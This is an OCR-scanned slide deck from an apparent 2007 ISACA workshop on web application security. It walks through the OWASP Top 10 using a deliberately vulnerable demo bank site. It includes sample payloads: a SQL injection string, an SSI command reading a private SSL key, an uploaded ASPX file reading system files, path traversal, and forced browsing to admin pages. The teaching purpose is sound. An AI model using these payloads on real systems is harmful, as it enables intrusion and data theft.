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Agenda

* Module 1: Security Landscape
* Module 2:

— Top Attacks Overview
— Demo of Manual Techniques

* Module 3: Hands-on Workshop
 Module 4: Demo of Automated Techniques
* Module 5: An Enterprise Vision
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Module 1: Security Landscape
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Objective

1. Understand the web application
environment

2. Understand and differentiate between
network and application level vulnerabilities

3. Understand where the vulnerabilities exist
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Eight Principles of Security
Management

1. Compliance Management
2. Risk Management

o N O O~ W

. ldentity Management

. Authorization Management
. Accountability Management
. Availability Management

. Configuration Management
. Incident Management
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High Level Network Architecture
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Black Box vs. White Box: Where?

UI

i LT et
[LAtr TR0

User

Application Logic

function b64(sText) {
if (IsText) { sText="; }

if (typeof sText == 'object’) {
sText = String(sText);
if (sText.match(/A\[(.*)+\1$/)) {
sText = 'unknown';
¥
¥

var sOut = ";

var chrl, chr2, chr3 =",

var encl, enc2, enc3, enc4 = ";
vari=0;

var keyStr =

'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef
ghijkimnopgrstuvwxyz0123456789+/=";

b
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Black Box vs. White Box: What?

UI Application Logic

SR T == || function b64(sText) {

LW TRl Ol if (IsText) { sText ="; }

. ‘ [ Err—"
' if (typeof sText == 'object') {

Eee L sText = String(sText);
if (sText.match(/M\[(.*)+\]$/)) {

sText = 'unknown';

}
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User

var sOut = ";

var chrl, chr2, chr3 =";

var encl, enc2, enc3, enc4 = ";
vari=0;

var keyStr =
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef
ghijkimnopgrstuvwxyz0123456789+/=";
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High Level Web Application Architecture Review
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Network Defenses for Web Applications

==

Security,

Perimeter IDS IPS App Firewall

System Incident Event Management (SIEM)

i
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Web Applications — Shared Traits

* Get input from user in different ways
— Path, Parameters, Cookies, Headers, etc.

 Use back-end servers
— DB, LDAP/AD Server, etc.

« Use session tokens (cookie, parameter, path...)
— Session tokens may be persistent or not

* Hold public & private information
— Sensitive info often past the login page
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Web Application Security: What Can
Happen?

« Sensitive data leakage
— Customer, partner or company data

* |dentity Theft

— Hacker impersonating as trusted user

« Defacement — Content Modification
— Hurts brand, misleads customers, etc.

* Application Shutdown (Site Unavailable)
— Lack of access can cause major loses
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Open Source & Manual Products

* Proxies  Fuzzers

— WebScarab — SensePost Crowbar

— Fiddler — JBroFuzz

] ;Er;; . Datab.ase Exploit

_ Spike — Absinthe

— SQL Power Injector

* HTTP Editors * General Exploit

— [See above] _

— Mozilla Tamper Data — Metasplott

— NetCat
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Where are the Vulnerabilities?

Client-Side Custom Web Services
Web Applications

Third-party Components

Database

Applications

Operating System

Network
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Where are the Vulnerabilities?

m Client-Side Custom Web Services

Blackbox scanners Web Applications
that evaluate all

network objects
for patches and
vulnerabilities

Database

Applications

Operating System
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Where are the Vulnerabilities?

“ Client-Side Custom Web Services

Authenticated Web Applications
agents that

evaluate the ]

underlying Third-party Components
operating system

Web Server Configuration

Web Server

Database

Applications

Operating System

Network
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Where are the Vulnerabilities?

Client-Side Custom Web Services

Evaluate the Web Applications
database for
missing patches, Third-party Components

poor configuration
and vulnerabilities

Web Server Configuration

Web Server

Database

Applications

Operating System

Network

i
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Where are the Vulnerabilities?

App Scanners : de 0 ok

Scan the web 2D Applicatic
application to
uncover oo ° DO
vulnerabilities

Database

Applications

Operating System

Network
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Where are the Vulnerabilities?

Client-Side Custom Web Services

Parse software Web Applications
source code to
determine policy —y

violations and Third-party Components
poor practices

Web Server Configuration

Web Server

Database

Applications

Operating System

Network
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Where are the Vulnerabilities?

Client-Side Custom Web Services
Web Applications

Third-party Components

Database

Applications

Operating System

Network
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Top Attacks Overview
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‘ 13
The Myth: "Our Site Is Safe”

We Have Firewalls

in Place

We Audit It Once a
4 Quarter with Pen Testers

We Use Network

Vulnerability Scanners - We Use SSL

Encryption

i
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,“’"‘; The Reality:
Security and Spending Are Unbalanced

Security Spending

%0 of Attacks %o of Dollars

Web
Applications

Network
Server

759 of All Attacks on Information Security
Are Directed to the Web Application Layer

2007 Fall Conference
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2/3 of All Web Applications Are Vulnerable
. Gartner \

Sources: Gartner, Watchfire
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2006 Vulnerability Statistics (31,373 sites)

Percentage of websites vulnerable by class (Top 5)

'00% B Cross-Site Scripting

B SOL Injection

;s M Information Leakage
B HTTP Response Splicting|
B Path Traversal |

sox [l Other

25%

15.70%
0%

** http://www.webappsec.org/projects/statistics/

i
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What is a Web Application?

e The business logic that
enables:

— User’s interaction with Web
site

— Transacting/interfacing with
back-end data systems
(databases, CRM, ERP etc)

e In the form of:

— 3rd party packaged software;
i.e. web server, application
server, software packages
etc.

— Code developed in-house /

web builder / system
integrator

Input and Output flow through each layer of the application
1\ i ) ! ks tf hol licati
—/mm 2007 Fall Conference
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Infrastructure vs. Application Security Issues

Infrastructure Vulnerabilities

Application Specific
Vulnerabilities

Cause of Defect

Insecure development or
deployment of 3 party SW

Insecure development of your own
applications

Location of

3rd party infrastructure (web server,

Application Code, often resides on

party software

Vulnerability OS, etc.) Application Server
Method of Known vulnerabilities (0-day), Probing hacks, suspicious content,
Exploits signature based information leakage
Patch Management system App Security Scanners
Detection
Internal/External Audits, Automated Scanners
rd ini -
What to do Update patches, use trusted 3 Training & Scanners — across the

Development Life Cycle

—HISACA

San Francisco Chapter
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WASC

« Web Application Security Consortium (WASC)

Purpose:
— To develop, adopt, and advocate standards for web application
security

o Official web site: www.webappsec.org

« Web Security Threat Classification project
http://www.webappsec.org/projects/threat/v1/WASC-TC-v1_0.pdf
Purpose:

— Clarify and organize the threats to the security of a web site

— Develop and promote industry standard terminology for these
issues

J iMCA 2007 Fall Conference
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WASC — Threat Classifications

(Web Application Security Consortium)

Application Threat

Authentication

Attack Types

Brute Force
Insufficient Authentication
Weak Password Recovery Validation

Example Business Impact

Attacks that target a web site’s method
of validating the identity of a user,
service or application.

Authorization

Credential/Session Prediction
Insufficient Authorization
Insufficient Session Expiration
Session Fixation

Attacks that target a web site’s method
of determining if a user, service or
application has the necessary
permissions to perform a requested
action.

Client-side Attacks

Content Spoofing
Cross Site Scripting

The abuse or exploitation of a web site’s
users (breaching trust relationships
between a user and a web site).

Command
Execution

Buffer Overflow
Format String Attack
LDAP Injection

OS Commanding
SQL Injection

SSI Injection

XPath Injection

Attacks designed to execute remote
commands on the web site by
manipulating user-supplied input fields.

T By T Genemance Professionals
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WASC — Threat Classifications

(Web Application Security Consortium) www.webappsec.org

Application Threat

Information
Disclosure

Attack Types

Directory Indexing
Information Leakage

Path Traversal

Predictable Resource Location

Example Business Impact

Attacks designed to acquire system
specific information about a web site.
This includes software distribution,
version numbers, patch levels, and also
secure file locations.

Logical Attacks

Abuse of Functionality

Denial of Service

Insufficient Anti-automation
Insufficient Process Validation

The abuse or exploitation of a web
application logic flow (password
recovery, account registration, auction
bidding and eCommerce purchasing are
examples of application logic).

—ISACA
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OWASP

e Open Web Application Security Project

Purpose: Dedicated to finding and fighting the causes of insecure
software.

e (fficial web site: www.owasp.org

e The OWASP Top Ten project
http://www.owasp.org/index.php/OWASP Top Ten Project
e Purpose:

— A broad consensus about what the most critical web application security
flaws are

— Raise awareness of web application security issues

e We will use the Top 10 list to cover some of the most common
security issues in web applications

J iMCA 2007 Fall Conference
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The OWASP Top 10 Application Attacks

Application Threat

Negative Impact

Example Impact

Cross Site scripting

Identity Theft, Sensitive Information Leakage,

Hackers can impersonate legitimate users, and control their
accounts.

Injection Flaws

Attacker can manipulate queries to the DB /
LDAP / Other system

Hackers can access backend database information, alter it or
steal it.

Malicious File Execution

Execute shell commands on server, up to full
control

Site modified to transfer all interactions to the hacker.

Insecure Direct Object Reference

Attacker can access sensitive files and
resources

Web application returns contents of sensitive file (instead of
harmless one)

Cross-Site Request Forgery

Attacker can invoke “blind” actions on web
applications, impersonating as a trusted user

Blind requests to bank account transfer money to hacker

Information Leakage and Improper
Error Handling

Attackers can gain detailed system information

Malicious system reconnaissance may assist in developing
further attacks

Broken Authentication & Session
Management

Session tokens not guarded or invalidated
properly

Hacker can “force” session token on victim; session tokens
can be stolen after logout

Insecure Cryptographic Storage

Weak encryption techniques may lead to
broken encryption

Confidential information (SSN, Credit Cards) can be decrypted
by malicious users

Insecure Communications

Sensitive info sent unencrypted over insecure
channel

Unencrypted credentials “sniffed” and used by hacker to
impersonate user

Failure to Restrict URL Access

Hacker can access unauthorized resources

Hacker can forcefully browse and access a page past the
login page




1. Cross-Site Scripting (XSS)

« What is it?

— Malicious script echoed back into HTML returned
from a trusted site, and runs under trusted context

 What are the implications?

— Session Tokens stolen (browser security
circumvented)

— Complete page content compromised
— Future pages in browser compromised

J iMCA 2007 Fall Conference
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XSS — Details

Common in Search, Error Pages and returned forms.
— But can be found on any type of page

Any input may be echoed back
— Path, Query, Post-data, Cookie, Header, etc.

Browser technology used to aid attack
— XMLHttpRequest (AJAX), Flash, IFrame...

Has many variations
— XSS in attribute, DOM Based XSS, eftc.

J iMCA 2007 Fall Conference
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Cross Site Scripting — The Exploit Process

Evil.org

5) Evil.org uses stolen
session information to
impersonate user

1) Link to bank.com
sent to user via
E-mail or HTTP

4) Script sends user’s
cookie and session
information without the user’s
consent or knowledge

2) User sends script embedded as data .

<
g 3) Script/data returned, executed by browser
‘f—’MCAF 2007 Fall Conference
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Exploiting XSS

If | can get you to run my JavaScript, | can...

— Steal your cookies for the domain you're browsing

— Track every action you do in that browser from now on
— Redirect you to a Phishing site

— Completely modify the content of any page you see on
this domain

— Exploit browser vulnerabilities to take over machine

XSS is the Top Security Risk today (most
exploited)
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Sticky/Embedded XSS (XSS Worms)

 Embedding malicious script in persistent location
— “Talkback” section
— Forum/Newsgroup

 Boosted with Web 2.0 trend

— Customizable content
— More user content (communities)

« XSS Can “Infest” more pages - Worm
— MySpace worm (Samy, October 2005)
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2. Injection Flaws

« What is it?

— User-supplied data is sent to an interpreter as part of
a command, query or data.

 What are the implications?
— SQL Injection — Access/modify data in DB

— SSI Injection — Execute commands on server and
access sensitive data

— LDAP Injection — Bypass authentication

J "ISACA 2007 Fall Conference
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SQL Injection

« User input inserted into SQL Command:

— Get product details by id:
Select * from products where id="SREQUEST([“id"]’;

— Hack: send param id with value ‘“ or “1'="1

— Resulting executed SQL:
Select * from products where id=" or “1'="1’

— All products returned

J iMCA 2007 Fall Conference
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Injection Flaws — More Info

* One SQL Injection compromises entire DB
— Doesn’t matter if it's a remote page

* Not limited to SQL Injection
— LDAP, XPath, SSI, MX (Mail)...
— HTML Injection (Cross Site Scripting)
— HTTP Injection (HTTP Response Splitting)
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Injection Flaws (SSI Injection Example)
Creatlng commands from input

.- E,d'l E’l&w:ﬁ Commuricaior  Halo
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: £|nmumm &= Hmb:r: |_Jw=ms| Hl:nm:dm & Bizloumal E Smalipdate  [E Miiplace

MNew Location

GEt Map l
<!--#exec cat /etc/ssl/private.pem-

EI"-W'I__ [Document, Dans _ _ . _ . _ . _ _ | S a e I |




The return is the private SSL key of the server

il #=- Netzcape
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i g%lnstantMessage Mermbers Wafeb il Connections BizJournal Smartlpdate Mktplace

VWeneed a city, state; city, state zip; or a zip to generate a map

Street Address, Intersection or Anport Code

|<!——#exec fhinfocat fetcfssl/private

City, State Zip or a ZIP

Get Map |

= == |

| Document: Done

Mew
Lo ation




3. Malicious File Execution

« What is it?

— Application tricked into executing commands or
creating files on server

 What are the implications?
— Command execution on server — complete takeover
— Site Defacement, including XSS option
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Reguest Header Mame

Reguest Header Value

Host

| wyww, testfire.net |

Post Parameter Mame
cfile

Post Parameter Value

comments, txt ]

|
——
User-Agent | Mozilla/5.0 (Windows; U; Windm| name | asdf |
Accept | text,.’xml,applicaﬁun,.’xml,applicat| email_addr | asdf |
Acceptlanguage | en-us,en;q=0.5 | subject | asdf |
Accept-Encoding | qzip,deflate | comments | asdf |
Accept-Charset | 150-8855-1,utf-8;q=0.7,%q=0. | ||| submit | +5ubmit+ |
Keep-Alive | 300 |
Connection | keep-alive |
Referer | http:,.’,.’www.testﬁre.net,.’feedbat|
Cookie | ASPNET _Sessionld=adp4vz550 |
[ Ok ] [ Cancel

| Submit || Clear Form |

&



Malicious File Execution — Example cont.

Tamper Popup |E|
~ http: ffwww, testfire. netfcomment. aspx B

Regquest Header Mame Reguest Header YValue Post Parameter Mame lue
Host | www, testfire.net | cfile | myevilfile. aspx I |
User-Agent | Mozillafs.0 (Windows; U; Windm| name | asdf |
Accept | bext,.'xmI,applicaﬁonfxml,applicat| email_addr | asdf |
AcceptLanguage | en-us,en;q=0.5 | subject | asdf |
Accept-Encoding | ozip,deflate | comments %530 %%25%40 +Page +LanguagE|
Accept-Charset | 150-8859-1,utf-8;q=0.7,%q=0. | ||| submit | +5ubmit-+ |
Keep-Alive | 300 |
Connection | keep-alive |
Referer | hth:u:,.'fwww.testﬁre.net,.’feedba:| <%@ Page Language="C#" 3>
Cookie |ammamh=mﬂNmm=hmd4 <% Response.Write (System.I0.File.ReadAllText

("c:/windows/system3Z2/drivers/etc/hosts")); 3>

[ QK J [ Cancel

i
Mm 2007 Fall Conference
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"':3':' h - lE:] Tﬁ la htu:-:ﬂ'n"n"n'.testﬁre.ne v | [ .. L, _F x

asdf, asdf, asdf, # Copyright (c) 1993-1999 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for
Windows. # # This file contains the mappings of [P addresses to host names. Each # entry should be kept on an individual line.
The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host
name should be separated by at least one # space. # # Additionally, comments (such as these) may be inserted on indrvidual =
lines or following the machine name denoted by a '#' symbol. # # For example: # # 102.54 94 97 rhino acme_ com # source server
# 38.25.63.10 x.acme. com # x client host 127.0.0.1 localhost



4. Insecure Direct Object Reference

« What is it?

— Part or all of a resource (file, table, etc.) name
controlled by user input.

 What are the implications?
— Access to sensitive resources
— Information Leakage, aids future hacks

J iMCA 2007 Fall Conference
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& -

- l@” ﬁj‘ ||_| :f,.‘w'.n"n'.testﬁre.netfdefault.asp@:nnt&nt=busine55_u:|epc:sit.htrnEh"| [:t‘“l El'i Eulnl{= | 4,

AltoroMutual

I 4
Sign In | Contact Us | Feedback | Eear:h! |[ 30 ] =

L]

m ONLINE BANKING LOGIN

PERSONAL SMALL BUSTNESS

PERSCOMNAL

Deposit Produck

Checking
Loan Products

Cards
Investmenkts B
Insurance

Other Services

SHMALL BUSTNESS

Deposit Producks

Lending Services
Cards

Insurance
Retirement

Other Services

INSIDE AL TORO MUTUAL

About Us
Contact Us
Locations

Investor Relations

Press Room

Deposit Products

At Altoro Mutual, we offer business deposit products
designed to help you manage your money and grow your
business including:

+ Commercial Savings Accounts

+ Commercial Money Market Accounts
* Time Deposits

High ¥ield Investments

For more information about these products, please
contact Altars Mutual.

Mote: all Altoro Mutual business deposit accounts include
free access to Altoro Mutuals secure, Online Banking site,
where you can view account information, make payments
znd transfars and more.

* Carsers
Privacy Policy | Security Statement | & 2007 Altoro Mutual, Inc.
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{? - - IEJ ﬁ} D htu:l:f,.’uw.-\'w.testﬁre.neh’dehult.aspﬁnnt&nt;.,ﬂbnnt.ini-] = B‘| !-" Elululnl 1= '--._| .o
Sign In | Contact Us | Feedback | Searchl ”_ G0 ]

AltoroMutual » Em I

m ONLINE BANKING LOGIN PERSONAL SMALL BUSINESS INSIDE ALTORD MUTUAL

(TErr-:rr! File must be of type txt or htm-)
PERSOMNAL

+ Deposit Produck

+ Checking

+ Loan Products

* Cards

* Inwvestments B
Insurance

+« Other Services

SMALL BUSINESS

+ Deposit Products
+ Lending Services
+ Cards

* Insursnce

+ Retirement
» Other Services

INSIDE Al TORO MUTLUIAL

,ﬂh:}ut L=
+ Contact Us

- chatiuns

+ Investor Relations

#+ Press Room

* Carsers

Privacy Policy | Security Statement | & 2007 Altoro Mutual, Inc.



‘@;ﬂ - - lé] ﬁ:r D .'III:HWWW.tEE'L'ﬁFE.I'IEtJ"leﬁ:llJlt.aSD)é_ml'ltEﬂt=..;'hﬂﬂt.il‘li'!-"'nﬂﬂ.ht’l‘l = D‘| !-' Eulnl{= '-4l_| | - & X

Sign In | Contact Us | Feadback | Eear:h| H_ 50 ]
m | 3
H ONLINE BANKING LOGIN PERSONAL SMALL BUSINESS INSIDE ALTORD MUTUAL
l'._[I:h:u:ut loader]timeocut=20default=multi{ 0idisk{Qirdisk{0]ipartition 1 \WINDOWS[operating
LEE SN, systems]multi{0)disk{0)rdisk({0])partition{ 1 A WINDOWS="Microsoft Windows XP Professional”
+ Deposit Product /noexecute=optin /fastdetect
+ Checking .
+ Loan Products
* Cards

* Inwvestments B
Insurance
+ Other Services

SMALL BUSINESS

+ Deposit Producks

+ Lending Services
+ Cards

* Insurance
+ Retirement

+ Other Services

INSIDE ALTORO MUTUAL
. .I“l.bl:!-ut Lis
¢ Contact Us

. Ll:_H:atiI:mE

+ Investor Relations

* Press Room

¢ Carsers

Privacy Policy | Security Statement | & 2007 Altoro Mutual, Inc.



5. Cross Site Request Forgery (CSRF/XSRF)

« What is it?

— Tricking a victim into sending an unwitting (often
blind) request to another site, using the user’s session
and/or network access.

 What are the implications?
— Internal network compromised
— User’s web-based accounts exploited

J iMCA 2007 Fall Conference
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XSRF Exploit lllustration

4) Private mails accessed, possibly containing

passwords
v Bank.com
WebMail
D Y 4) Money
N . Withdrawn
3) Money
Transfered

Wireless 3) All mails

Router forwarded to

2) Script (or link) is :

downloaded and Evil.org

A

D hacker . executed in browser
< W ) >
3) Router opened for ~, 1) User browses

A outside access o . .
: Victim page with malicious
content
—HSACA 4) Firewalls surpassed, internal computers hacked 2007 Fall Conference
Seving IT Gevemancs Professianals 58

San Franc:sco Chapter



XSRF vs. XSS

« XSS Exploits the trust a user gives a site
— Cookies and data access to specific domain

« XSRF Exploits the trust a site gives a user
— User “logged in” to site or has access to site (Intranet)

« XSRF may be delivered via XSS (or Sticky XSS)

« XSS may be auto-exploited via XSRF

— XSRF on one site exploit XSS on other — hands free

J "ISACA 2007 Fall Conference
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6. Information Leakage and Improper Error
Handling

« What is it?

— Unneeded information made available via errors or
other means.

 What are the implications?
— Sensitive data exposed

— Web App internals and logic exposed (source code,
SQL syntax, exception call stacks, etc.)

— Information aids in further hacks

J iMCA 2007 Fall Conference
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¢| - - IE] G:f D http: ffwwow, testfire. netfbank flogin. aspx hd E’| !-* aoogle '-4‘_| I - & X

Sign In | Contact Us | Fesdback | 5EE|r|:h| H_ =T s ]

AltoroMutual p E@

m ONLINE BANKING LOGIN PERSONAL SMALL BUSINESS INSIDE ALTORD MUTUAL

PER SOMNAL = = =
sl Online Banking Login

+ Checking
+ loan Producks

+ Cards Username: || |
* Inwvestments B

i S o Password ! | |

+« Other Services
— =

SMALL BUSINESS

+ Deposit Producks
+ Lending Services
+ Cards

+ Imsurance

+ Retirement
+ Other Services

<hl>0nline Banking Login</hl>
INSIDE ALTORO MUTUAL

o About Us <!'—-— To get the iaEst admin leogin, pleasse contact Sitefps at £15-FRE-£159 —-->
: <p><span id=" ctlld| ctl0 Content Main message™
e Contact Us lseadhics - = =

. F_l:_H:.atl'DnE

+ Investor Relations

* Press Room

¢ Carsers

Erivacy Policy | Security Statement | © 2007 Altoro Mutual, Inc.
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Q":I - - Q‘ﬂ ]TT I|_| https ffwovew, testfire, net/bank login. aspx "'l B | El'— | ] *I -

Sign In | Contact Us | Feaedback | Se=arch | [| Go

AltoroMutual

An Error Has Occurred

Summary:

(Evntax error {missing operator) in query expression 'username = ' AND password = "asdf". ]

Error Message:

18 System.Data.OleDb.OleDbException: Syntax error [missing ocperator) in query expression 'username = """ AND password =
'asdf''. at System.Data.CleDb.OleDbCommand.ExecuteCommandTextForSingleResultitagDEPARAMS dbParams, Chjecth
executeResult) at System.Data.CleCb.CleDECommand.ExecuteCommandText{ Objectt executeReasult) at
System.Data.CleDb.OleDbCommand.ExecuteCommand{ CommandBehavior behavior, Objectk executeRasult) at
System.Data.CleDb.OleDbCommand.ExecuteReaderlnternal{ CommandBehavier behavior, String method) at
System.Data.CleDb.OleDbCommand.ExecuteReader{ CommandBehavior behavior] at
System.Data.CleDb.OleDbCommand. System.Data. I DbCommand.ExecuteReader{ CommandBehavior behavior) at
System.Data.Common.DbDataAdapter.Filllnternal(DataSet dataset, DataTable[] datatables, Int22 startRecord, Ink22
maxRecords, String srcTable, IDbCemmand command, CommandBehavior behavior) at
System.Data.Common.DbDataAdapter.Fill{DataSet dataSet, Int22 startRecord, Int22 maxRecords, String srcTable,
IDbCommand command, CommandBehavior behavior) at System.Data.Common.DbDataAdapter.Fill{DataSet dataSet, String
srcTable) at Altoro.Authentication.ValidateUser(String ulame, String pWord) in
dihdownloads\altoroMutual_v3ywebsite\bank'login.aspx.cs:line 68 at Altoro.Authentication.Page_Load(Cbject sender, EventArgs
a) in d:\downloadslAltoroMutual_vSiwebsite'\bankllogin.aspx.cs:line 32 at
System.Web.Util.CalliHelper.EventArgFunctionCaller{ IntPtr fp, Object o, Object t, EventArgs =) at
System.Web.Util.CalliEventHandlerDelagateProxy. Callback{ Object sender, EventArgs &) at
System.Web.UIL.Control.OnLoad(EventArgs &) at System.Web.UIL.Control.LoadRecursive(] at
System.Web.UI.Page.ProcessReguestMain Boclean includeStagesBeforefsyncPoint, Boclean includeStagesAfterAsyncPoint)

=




Information Leakage — Different
Username/Password Error

m ONLINE BANKING LOGIN PERSOMAL

SMALL BUSINESS

INSIDE ALTORD MUTUA

EER.SOMAL

+ Deposit Product

+ Checking

¢+ Loan Products

* Cards

* Investments &
Insurance

+ Other Services

SMALL BLSINESS
|+ Deopogit Products

Online Banking Login

Login Failed - Invalid Password

Username: |j5l‘|‘|ith |

Password: || |

___t__

m ONLINE BANKING LOGIN PERSOMAL

SMALL BUSINESS INSIDE ALTORD HI.ITI.IA]

PERSOMAL

+ Deposit Product

+ Checking

+ Loan Products

* Cards

* Investments B
Insurance

+ Other Services

SMALL BUSINESS
+ Deposit Products

L H ~—

Online Banking Login

Login Failed - Invalid Username

Usarname: |I'|I:|L|5EF |

Password: || |

—HSACA

Seaving IT Govemanie Professionals

San Francisco Chapter
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/. Broken Authentication and Session
Management

« What is it?
— Session tokens aren’t guarded and invalidated
properly

 What are the implications?

— Session tokens can be planted by hacker in
XSS/XSRF attack, hence leaked

— Session tokens more easily available (valid longer,
less protection) to be stolen in different ways

J iMCA 2007 Fall Conference
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Broken Authentication and Session
Management - Examples

* Unprotected Session Tokens
— Session ID kept in Persistent Cookie
— Not using http-only value for cookies

« Sessions valid for too long
— Session not invalidated after logout
— Session timeout too long

« Session fixation possible

— Session ID not replaced after login (hence can be
fixed)

J iMCA 2007 Fall Conference
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8. Insecure Cryptographic Storage

 Whatis it?
— Weak or no cryptographic protection on sensitive
resources at rest

— Lack of safeguards on keys

 What are the implications?

— Session tokens can be predicted (due to weak, often
homegrown, algorithms)

— Sensitive data available through DB access (internal
hacker, SQL Injection, etc.)

J iMCA 2007 Fall Conference
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Insecure Cryptographic Storage: Weak
Session Token

« Hacker samples session IDs and gets:
1,2,4,6,7,10,11,15...

« Can you predict other valid sessions?
(Hint: Other users may enter site and get
sessions during the hacker’s sampling)

* Points to consider:
— Doesn’t need to be that simple...
— Keys may be predictable (e.g. timestamp)

J iMCA 2007 Fall Conference
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9. Insecure Communication

« What is it?

— Sensitive data sent over unencrypted channels

 What are the implications?

— Data can be stolen or manipulated by Internal or
External hacker

J iMCA 2007 Fall Conference
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Insecure Communication: Points to Consider

* Not only the login page is sensitive
— Anything after it is too, and maybe more

* Internal Hackers are a threat
— Encrypt internal communications as well

« Use strong encryption keys
— See previous topic...

J iMCA 2007 Fall Conference
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10. Failure to Restrict URL Access

« What is it?

— Resources that should only be available to authorized
users can be accessed by forcefully browsing them

 What are the implications?
— Sensitive information leaked/modified
— Admin privileges made available to hacker

J iMCA 2007 Fall Conference
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Failure to Restrict URL Access - Admin
User login

m OMNLINE BANKING LOGIM

PERSONAL SMALL BUSTNESS

EERSOMNAL
+ Deposit Product

I

+ Checking

¢+ loan Products
+ Cards

* Investments &
Nsurance

+ Other Services

SMALL BUSINESS

Online Banking Login

Username! |E||:|r|'|i|'| |

Password: |***** |

m MY ACCOUNT

PERSONAL SMALL BEUSINESS

I WANTTO ...

* View Account Summary

* View Recent
Transactions

+ Transfer Funds

¢ Search Mews Articles

» Customize Site
Language

Hello, Admin User

Welcome to Altoro Mutual Online.

View Account Details:

ADMINISTRATIONMN

*» View Application Walues

+ Edit Usars

—
A 4

SACA
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Simple user logs in, forcefully browses to
admin page

B ONLINE BANKING LOGIN

PERSONAL

| SMALL BUSINESS

PERSONAL

+ Deposit Product

+ Checking

+ Loan Products

* Cards

* Investments &
Insurance

+ Other Services

SMALL BUSINESS

Online Banking Login

Username: |j5l‘|‘|it|‘|

Password: |********|

&

-

* él ﬁ ||:| http:ﬂ'.r\'ww.testﬁre.nef:'adminfadmin.aspx I

AltoroMutual »

= MY ACCOUNT PERSONAL ‘ SMALL BUSINESS | INSIDE ALTORO MUTUAL
I WANT TO ... - -
g Edit User Information
Application
Values L.
+ Edit Users Add an account to an existing user.
Users: Account Types:
| 100116014 jsmith % | Savings Add Account
Chapnoe user's naceword

SACA

Seaving IT Govemanie Professionals

San Francisco Chapter

2007 Fall Conference
72



Failure to Restrict URL Access:
Privilege Escalation Types

* Access given to completely restricted resources

— Accessing files that shouldn’t be served (*.bak, “Copy
Of’, *.inc, *.cs, ws_ftp.log, etc.)

* Vertical Privilege Escalation
— Unknown user accessing pages past login page
— Simple user accessing admin pages

* Horizontal Privilege Escalation
— User accessing other user’s pages
— Example: Bank account user accessing another’'s

J "ISACA 2007 Fall Conference
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The OWASP Top 10 Application Attacks

Application Threat

Negative Impact

Example Impact

Cross Site scripting

Identity Theft, Sensitive Information Leakage,

Hackers can impersonate legitimate users, and control their
accounts.

Injection Flaws

Attacker can manipulate queries to the DB /
LDAP / Other system

Hackers can access backend database information, alter it or
steal it.

Malicious File Execution

Execute shell commands on server, up to full
control

Site modified to transfer all interactions to the hacker.

Insecure Direct Object Reference

Attacker can access sensitive files and
resources

Web application returns contents of sensitive file (instead of
harmless one)

Cross-Site Request Forgery

Attacker can invoke “blind” actions on web
applications, impersonating as a trusted user

Blind requests to bank account transfer money to hacker

Information Leakage and Improper
Error Handling

Attackers can gain detailed system information

Malicious system reconnaissance may assist in developing
further attacks

Broken Authentication & Session
Management

Session tokens not guarded or invalidated
properly

Hacker can “force” session token on victim; session tokens
can be stolen after logout

Insecure Cryptographic Storage

Weak encryption techniques may lead to
broken encryption

Confidential information (SSN, Credit Cards) can be decrypted
by malicious users

Insecure Communications

Sensitive info sent unencrypted over insecure
channel

Unencrypted credentials “sniffed” and used by hacker to
impersonate user

Failure to Restrict URL Access

Hacker can access unauthorized resources

Hacker can forcefully browse and access a page past the
login page




Module 3: Hands-on Workshop

Seaving IT Govemanie Professionals



Objective

Hacking 101:
* Understand reconnaissance and profiling

1. Hands-on: Find vulnerabilities and exploit
a) Failure to restrict URL access and information leakage
b) Cross site scripting (XSS)
c) SQL Injection
d) Advanced SQL Injection

2. Understand the difference between a
vulnerability and an exploit

J "ISACA 2007 Fall Conference
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Profiling a web application

[@ Altoro Mutual: Online Banking Login - Mozilla Firefox =)= _]
File Edit Miew Higtory Bookmarks Tools Help
Qﬁ g :\b £ @'l g ! ] htkpifflacalhostaltora/bankflogin, aspsx | - | & i |_|—g—|v |._4_¥ |

L1 weindows || ®55 Praxy - Sessions | 1 Hackme Bank || Altoro Mutual 2' Adobe Connect Enter...

Sign In | Contack Us | Eeedback | Search:

&oroMutual

m ONLINE BANKING LOGIN PERSONAL | SMALL BUSINESS | INSIDE ALTORDO MUTUAL

PER SO AL - - -
* Deposit Product Onllne Banklng Logln

+ Checking

+ Losn Producks
Username:
« Cards

* Inuvestrments & Insurance Passward:

» Other Sarvices
SHAaLL BLISITHESS

* Deposit Producks
* Lending Services
= Cards

* Insurance
+ Betirerment
* Other Sarvices

INSIDE ALTORG MUTUAL
+ About Us
* Contack L=
* Locations

+ Inwestor Relstions
* Prass Roorm
+ Carsers

Privacy Policy | Security Staternent | @& 2007 Altoro Mutual, Inc

The Altoro Mutual website is published by Watchfire, Inc for the sole purpose of demonstrating the effectiveness of Watchfire products in detecting web application

wulnerabilities and website defects, This site is not a real banking site. Similarities, if any, to third party products and/or websites are purely coincidental, This site is

f
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Seving IT & 2 Professionals
San Francisco Chapter [




Reconnaissance and Profiling

» Platform
— Technologies
— Application servers
— Web servers
— Web server authentication
— Database usage
— Database type
— Third-party components

* Application

Authentication
Authorization

Web based administration
User contributed content
Client side validation
Password creation
Session state

Error handling

Application logic

—SACA

Serving [T Govemanie Professionals
San Francisco Chapter

2007 Fall Conference
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How much did you find”?

« Platform * Application

— .NET, JavaScript — Form based authentication

— 1S 5.0+ — User based authorization

— Anonymous web server — Yes = /Admin
authentication — No social contribution areas

— Database in use — No password reset

— MS SQL? Access? — Cookies (several)

— User management — Custom error pages
connections?

— CGl execution

J iMCA 2007 Fall Conference
/ 0 i r an .p o

79
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Task 1: Access the Administration section

« Step 1: Forceful browse to administration section
— Does it exist?
— The URL for the banking application is: htip://demo.testfire.net/bank
« What might the administrative application be?
— Is there a default page?
— What might you name a login page?
» What was it for the banking application?
— http://demo.testfire.net/bank/login.aspx

« Step 2: Ask some questions about the login page?
— Is there a username associated with the password?
— Is the password static?
— What might | use for a password?
— Where might | look for a password?

« Step 3: Exploit

J iMCA 2007 Fall Conference
L. T Gereamance Profestiaral
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& HTTP 403 Forbidden - Windows Internet Explorer ==

5@; - |g, http: ffdemo. testfire, netfadmin M 4| K |Gu:u:u;||e | 2
v [@HTTP 403 Farbidden ]_‘ f - Bl el & G Tools -

|o The website declined to show this webpage

HTTP 403

Most likely causes:
s This website requires you to log in.

What you can try: %

® Go back to the previous page.

@ More information

Action
Navigate to admin directory

Il We learn ...
Administration Section Exists




